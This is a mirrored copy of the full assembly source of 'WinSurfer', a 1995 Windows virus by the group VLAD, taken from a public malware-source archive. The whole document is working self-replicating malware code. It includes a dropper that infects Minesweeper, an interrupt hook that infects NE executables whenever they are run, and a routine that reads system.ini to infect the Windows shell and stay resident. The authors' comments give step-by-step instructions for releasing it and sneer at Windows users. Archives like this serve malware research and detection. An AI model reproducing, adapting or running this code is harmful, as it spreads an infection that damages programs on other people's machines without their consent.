mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-28 22:25:24 +00:00
655 lines
20 KiB
NASM
655 lines
20 KiB
NASM
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;-------------------------------------------------------------------------
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;
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; WinSurfer Virus (c) 1995 VLAD incorporated.
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; Written by qark and quantum.
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;
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; This virus is a parasitic TSR infector of NewEXE files. It works in
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; protected mode only and infects on file execute.
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;
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; The executable infection code is by qark, while the interrupt handler
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; code is by quantum.
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;
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; This virus contains no stealth of any form, a simple readonly attribute
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; will stop the virus from writing, the time/date stamp is not preserved
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; and there is no encryption of any form. Windows users are too dumb to
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; notice anyway.
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;
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; To obtain a specimen of the virus, copy the compiled com file into the
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; same directory as the file WINMINE.EXE and run it. Go into Windows
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; and run the game 'Minesweeper'. Minesweeper should infect program
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; manager direct action, so that next time windows is booted the virus
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; will be resident.
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;
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; Possible Bugs and Improvements:
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; 1) An error may be that if the file isn't exactly shift alignment sized
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; the virus will overwrite some data at the end of the file or be
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; incorrectly pointed.
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; 2) An error may occur if the end of the segment table is less than eight
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; bytes from a 512 byte divisor.
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; 3) It may be possible to allocate buffer space without adding to virus
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; size by changing the segment memory size in the segment table. At the
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; moment the virus size is being doubled by the 512 byte read buffer we
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; include in the disk image.
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;
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; Although the final virus was coded completely by quantum and I, many
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; people helped by offering ideas, and windows documentation so I
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; must give thanks to the following people:
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; Screaming Radish, Stalker X, Dreadlord and some scandinavian dude.
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; The most important help came from Malware who taught me the relocation
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; entry ffff trick.
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;
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; Assemble with a86.
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;-------------------------------------------------------------------------
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;--Directly below is dropper code, ignore it, page down to the virus code--
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mov ax,3d02h
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mov dx,offset fname
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int 21h
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xchg bx,ax
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mov ah,3fh
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mov cx,512
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mov dx,offset buffer
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int 21h
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mov si,offset buffer
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cmp word ptr [si+3ch],400h
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je ok_dropper
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int 20h
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ok_dropper:
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mov ax,word ptr [si+2]
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mov word ptr ppage,ax
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mov ax,word ptr [si+4]
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mov word ptr pfile,ax
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mov ax,4200h
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xor cx,cx
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cwd
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int 21h
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mov ah,40h
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mov cx,offset setsp - offset header
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mov dx,offset header
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int 21h
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mov ax,4200h
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xor cx,cx
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mov dx,word ptr [si+3ch]
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int 21h
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mov ah,3fh
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mov cx,512
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mov dx,offset buffer
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int 21h
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mov ax,word ptr [si+1ch]
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inc word ptr [si+1ch] ;increase segment count
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mov cl,8
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mul cl
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mov di,word ptr [si+22h]
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add di,si
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add di,ax
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mov ax,4202h
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xor cx,cx
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cwd
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int 21h
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;write in the new segment into the table
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mov cl,byte ptr [si+32h]
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push bx
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mov bx,1
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shl bx,cl
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mov cx,bx
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pop bx
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div cx
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mov word ptr [di],ax
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mov word ptr [di+2],winend-win_entry
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mov word ptr [di+4],180h
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mov word ptr [di+6],winend-win_entry
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mov ax,word ptr [si+14h]
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mov word ptr winip2,ax
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mov word ptr [si+14h],0
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mov ax,word ptr [si+16h]
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mov word ptr wincs2,ax
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mov ax,word ptr [si+1ch] ;new cs:ip
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mov word ptr [si+16h],ax
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mov ah,40h
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mov cx,winend-win_entry + 20h
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mov dx,offset win_entry
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int 21h
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add word ptr [si+4],512
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add word ptr [si+24h],512
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add word ptr [si+26h],512
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add word ptr [si+28h],512
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add word ptr [si+2ah],512
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mov dx,512
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mov ax,4200h
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xor cx,cx
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int 21h
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mov ah,40h
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mov cx,512
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mov dx,offset buffer
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int 21h
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mov ah,3eh
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int 21h
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int 20h
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;--The New Windows DOS stub--
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header db 'MZ'
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ppage dw 0 ;part page
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pfile dw 0 ;file/512
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dw 0 ;relocation items
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dw 10h ;header size/16
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dw 0 ;minmem
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dw -1 ;maxmem
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dw 0 ;SS
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dw offset setsp - offset winstart ;SP
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dw 0 ;checksum
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dw 0 ;IP
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dw 0 ;CS
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dw 40h ;Relocation offset
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dupsize1 equ 3ch - ($-offset header)
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db dupsize1 dup (0)
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dw 200h ;NE offset
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dupsize2 equ 100h - ($-offset header)
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db dupsize2 dup (0)
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winstart:
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call windowsmsg
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db 'This program requires Microsoft Windows.',0dh,0ah,'$'
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windowsmsg:
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pop dx
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push cs
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pop ds
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mov ah,9
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int 21h
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mov ax,4c01h
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int 21h
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db 100 dup (0)
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setsp:
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;---end of fake dropper dos stub--
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fname db 'winmine.exe',0
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;----Start of the Virus---All the above is the dropper code, ignore it-------
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win_entry: ;Infected windows executables start here.
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jmp realenter
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int21start: ;Virus Int21 handler
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cmp ax,1894h ;Residency test ?
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jnz nottest
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mov cx,1234h
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iret
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nottest:
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pusha
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push ds
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push es
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cmp ah,4bh ;Windows is so dumb it uses DOS to
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;execute.
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jnz return2int
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call executing
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return2int:
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pop es
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pop ds
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popa
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db 0eah
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oldint21 dw 0,0
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executing:
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mov ax,3d02h ;Open file in DS:DX
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int 21h
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jnc ok_open
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ret
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ok_open:
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push ax
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mov ax,0ah ;This function makes our CS writable.
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push cs
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pop bx
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int 31h
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push ax
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pop ds
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pop bx
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mov ah,3fh ;Read first 512 bytes of EXE header.
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mov cx,512
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mov dx,offset buffer-offset win_entry
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int 21h
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mov si,offset buffer-offset win_entry
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cmp word ptr [si],'ZM' ;Not a COM file.
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jne bad_open
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cmp word ptr [si+18h],40h ;40h+ for NE exe's
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jb bad_open
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cmp word ptr [si+3ch],400h ;header will be below if
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je fileisoktoinfect ;already infected...
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bad_open:
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jmp fileisunsuitable
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fileisoktoinfect:
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sub word ptr [si+3ch],8 ;Change NE pointer.
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sub word ptr [si+10h],8 ;Incase stack is end of header
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mov ax,4200h ;Lseek right back to the start.
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xor cx,cx
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cwd
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int 21h
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mov ah,40h ;Rewrite the modified DOS header.
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mov cx,512
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mov dx,offset buffer - offset win_entry
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int 21h
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jc bad_open ;Write fail.. outta here!
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mov ax,4200h ;Lseek to NE header.
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xor cx,cx
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mov dx,400h
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int 21h
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mov ah,3fh ;Read in first 512 bytes.
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mov cx,512
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mov dx,offset buffer - offset win_entry
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int 21h
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;Adjust header offsets. Any tables behind the segment table will
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;have their offset increased by eight because we are inserting a new
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;eight byte segment entry.
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mov ax,word ptr [si+22h] ;AX=Segment table offset.
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cmp word ptr [si+4],ax
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jb ok_et
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add word ptr [si+4],8
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ok_et:
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cmp word ptr [si+24h],ax
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jb ok_rt
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add word ptr [si+24h],8
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ok_rt:
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cmp word ptr [si+26h],ax
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jb ok_rnt
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add word ptr [si+26h],8
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ok_rnt:
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cmp word ptr [si+28h],ax
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jb ok_mrt
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add word ptr [si+28h],8
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ok_mrt:
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cmp word ptr [si+2ah],ax
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jb ok_int
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add word ptr [si+2ah],8
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ok_int:
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mov ax,word ptr [si+1ch]
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inc word ptr [si+1ch] ;Increase segment count.
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mov cl,8 ;Assume less than 256 segments.
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mul cl
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add ax,word ptr [si+22h] ;AX=Size of segment table.
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xor dx,dx ;High order division value.
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mov cx,512 ;512 byte portions are used
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; for the reads later on.
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div cx
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mov word ptr [offset ne_size-offset win_entry],ax
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;How much we'll have to read.
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mov word ptr [offset last_ne-offset win_entry],dx
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;Where the end of the segment table
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; will be when we read it into the
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; buffer. (The last buffer)
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;Put the original CS:IP into our relocation table.
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push word ptr [si+14h]
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pop word ptr [offset newwinip2 - offset win_entry]
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push word ptr [si+16h]
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pop word ptr [offset newwincs2 - offset win_entry]
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;Save the alignment shift count because we need that for calculating
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;the offset of our segment when writing the segment entry.
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push word ptr [si+32h]
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pop word ptr [offset al_shift - offset win_entry]
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;Point CS:IP to the virus.
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mov word ptr [si+14h],0 ;The new IP
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mov ax,word ptr [si+1ch]
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mov word ptr [si+16h],ax ;The new CS
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;Initialise the lseek variable
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mov word ptr [offset lseek-offset win_entry],400h
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;The below code gets the NE header and keeps moving it forward by
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;eight bytes in 512 byte chunks.
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move_header_forward:
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mov ax,word ptr [offset ne_size-offset win_entry]
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or ax,ax
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jz last_page
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dec word ptr [offset ne_size-offset win_entry]
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mov ax,4200h ;Lseek to our current position.
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xor cx,cx
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mov dx,word ptr [offset lseek-offset win_entry]
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sub dx,8
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int 21h
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mov ah,40h ;Write the header section out.
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mov cx,512
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mov dx,si
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int 21h
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;Advance the pointer by 512.
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add word ptr [offset lseek-offset win_entry],512
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mov ax,4200h ;Lseek to the next chunk.
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xor cx,cx
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mov dx,word ptr [offset lseek-offset win_entry]
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int 21h
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mov ah,3fh ;Read it.
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mov dx,offset buffer - offset win_entry
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mov cx,512
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int 21h
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jmp move_header_forward
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last_page:
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mov ax,4202h ;Lseek to end of file.
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xor cx,cx
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cwd
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int 21h ;File length into DX:AX
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;DX:AX=File offset of our segment
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;Below section shifts the segment offset right by the alignment
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;shift value.
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mov cl,byte ptr [offset al_shift - offset win_entry]
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push bx
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mov bx,1
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shl bx,cl
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mov cx,bx
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pop bx
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div cx
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mov di,si
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add di,word ptr [offset last_ne-offset win_entry]
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;Adding the new segment table entry
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mov word ptr [di],ax ;Segment offset
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mov word ptr [di+2],offset winend-offset win_entry
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mov word ptr [di+4],180h ;Segment attribute
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; 180h = NonMovable + Relocations
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mov word ptr [di+6],offset winend-offset win_entry
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mov ax,4200h ;Lseek to next position.
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xor cx,cx
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mov dx,word ptr [offset lseek-offset win_entry]
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sub dx,8
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int 21h
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mov ah,40h ;Write rest of NE header + new seg entry.
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mov cx,word ptr [offset last_ne-offset win_entry]
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add cx,8 ;Added segment entry means eight more.
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mov dx,offset buffer - offset win_entry
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int 21h
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;Reset the relocatable pointer.
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push word ptr [offset winip - offset win_entry]
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push word ptr [offset wincs - offset win_entry]
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mov word ptr [offset winip - offset win_entry],0
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mov word ptr [offset wincs - offset win_entry],0ffffh
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mov ax,4202h ;Lseek to end of file.
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xor cx,cx
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cwd
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int 21h
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mov ah,40h ;Write main virus body.
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mov cx,offset winend-offset win_entry
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xor dx,dx
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int 21h
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pop word ptr [offset wincs - offset win_entry]
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pop word ptr [offset winip - offset win_entry]
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mov ah,40h ;Write the relocation item.
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mov cx,offset winend-offset relocblk
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mov dx,offset relocblk-offset win_entry
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int 21h
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fileisunsuitable:
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mov ah,3eh ;Close file.
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int 21h
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ret
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prefix db 'hell='
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windir db 'indir='
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systemfile db 'system.ini',0
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NE_Size dw 0
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Last_NE dw 0
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Al_Shift dw 0
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LSeek dw 0
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progman db 0 ;1=Program Manager
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envir dw 0 ;environment segment
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pathbuff db 142 dup (0)
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realenter:
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pusha
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push si
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push di
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push ds
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push es
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mov ax,1686h ;Is DPMI available ?
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int 2fh
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or ax,ax
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jz dpmifound
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no_dpmi:
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jmp alreadyinmem
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dpmifound:
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mov ax,000ah ;Make CS writable.
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push cs ;Protected mode isn't protected.
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pop bx
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int 31h ;Use DPMI.
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push ax
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pop ds
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xor cx,cx ;Check if resident.
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mov ax,1894h
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int 21h
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cmp cx,1234h ;Must be resident..
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jz no_dpmi
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cmp byte ptr [offset progman - offset win_entry],1
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jne direct_progman
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mov byte ptr [offset progman - offset win_entry],0
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;Can't go TSR off any program but program manager.
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mov ax,0204h ;Get real mode interrupt vector.
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mov bl,21h
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int 31h
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mov ds:[offset oldint21 - win_entry],dx
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mov ds:[offset oldint21 - win_entry + 2],cx
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push cs
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pop cx
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mov dx,offset int21start-win_entry
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mov ax,0205h
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mov bl,21h
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int 31h ;Set real mode interrupt vector.
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jmp alreadyinmem
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direct_progman:
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;Next portion of code searches for the environment variable
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;'windir' and places that before the files we access.
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;On entry ES=PSP
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mov ax,word ptr es:[2ch] ;PSP:[2ch]=Environment segment.
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cld
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mov es,ax
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mov al,'w' ;w from windir
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mov cx,-1
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xor di,di
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mov dx,di
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dir_loop:
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mov di,dx
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repnz scasb
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mov dx,di
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mov si,offset windir-win_entry
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push cx
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mov cx,6
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repe cmpsb ;indir from windir
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pop cx
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jne dir_loop
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mov si,di
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mov ax,ds
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push es
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pop ds
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mov es,ax
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mov cx,128
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mov di,offset pathbuff-win_entry
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rep movsb ;Move it into our path buffer.
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push es
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pop ds
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mov di,offset pathbuff-win_entry
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mov al,0
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mov cx,128
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repnz scasb
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mov byte ptr es:[di-1],'\' ;Add a slash behind the path.
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mov si,offset systemfile -offset win_entry
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mov cx,11
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rep movsb
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;The below code reads in the 'system.ini' file and searches for
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;the 'shell=' value, and infects the program specified by it.
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;The windows shell (eg program manager) is always active in memory
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;and we use it to go resident off.
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mov ax,3d02h
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mov dx,offset pathbuff -offset win_entry
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int 21h
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jc alreadyinmem
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xchg bx,ax
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mov ah,3fh
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mov cx,512
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mov dx,offset buffer -offset win_entry
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int 21h
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mov ah,3eh
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int 21h
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push ds
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pop es
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mov di,offset buffer-offset win_entry
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mov dx,di
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cld
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mov cx,512
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shell_loop:
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mov di,dx
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mov al,'s' ;The 's' in 'shell='
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repne scasb
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jne alreadyinmem
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mov dx,di
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mov si,offset prefix -offset win_entry ;Test for 'hell='
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push cx
|
|
mov cx,5
|
|
repe cmpsb
|
|
pop cx
|
|
jne shell_loop
|
|
mov si,di ;Offset of filename into DX.
|
|
|
|
mov al,'.' ;The dot in the filename extension.
|
|
mov cl,0ffh
|
|
repne scasb
|
|
add di,3 ;Point to past the filename.
|
|
mov byte ptr es:[di],0 ;Add a zero to make it asciiz.
|
|
|
|
mov di,offset pathbuff-win_entry
|
|
mov al,0
|
|
mov cx,128
|
|
repnz scasb ;Search for the 0 at the path end.
|
|
dec di
|
|
mov al,'\' ;Now find the last backslash.
|
|
mov cx,128
|
|
std ;Scan backwards.
|
|
repnz scasb
|
|
cld
|
|
inc di ;DI points behind the final '\'
|
|
inc di
|
|
mov cx,15
|
|
rep movsb ;Append the shell program name.
|
|
mov dx,offset pathbuff-win_entry
|
|
|
|
mov byte ptr [offset progman - offset win_entry],1
|
|
call executing
|
|
mov byte ptr [offset progman - offset win_entry],0
|
|
|
|
alreadyinmem:
|
|
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
popa
|
|
|
|
db 0eah ;JMP FAR PTR xxxx:xxxx
|
|
winip dw 0
|
|
wincs dw 0ffffh ;Needs to be FFFF due to windows
|
|
; relocation item format.
|
|
buffer db 512 dup (0)
|
|
|
|
;Below is the relocation item format. What ours does is turn the far jump
|
|
; above us into a jump to the original CS:IP.
|
|
relocblk dw 1 ;Signal only one relocation item.
|
|
db 3 ;32 bit pointer relocation.
|
|
db 4 ;Additive relocation (unsure, but
|
|
; it doesnt work unless you put this)
|
|
dw offset winip-offset win_entry ;Relocation offset.
|
|
newwincs2 dw 0 ;Target of the relocation. (We use
|
|
newwinip2 dw 0 ; the original host CS:IP)
|
|
|
|
winend: ;The actual virus ends here.
|
|
;-----End of the Virus---Below is dropper code-----------------------------
|
|
dw 1
|
|
db 3
|
|
db 4
|
|
dw offset winip - offset win_entry
|
|
wincs2 dw 0
|
|
winip2 dw 0
|
|
|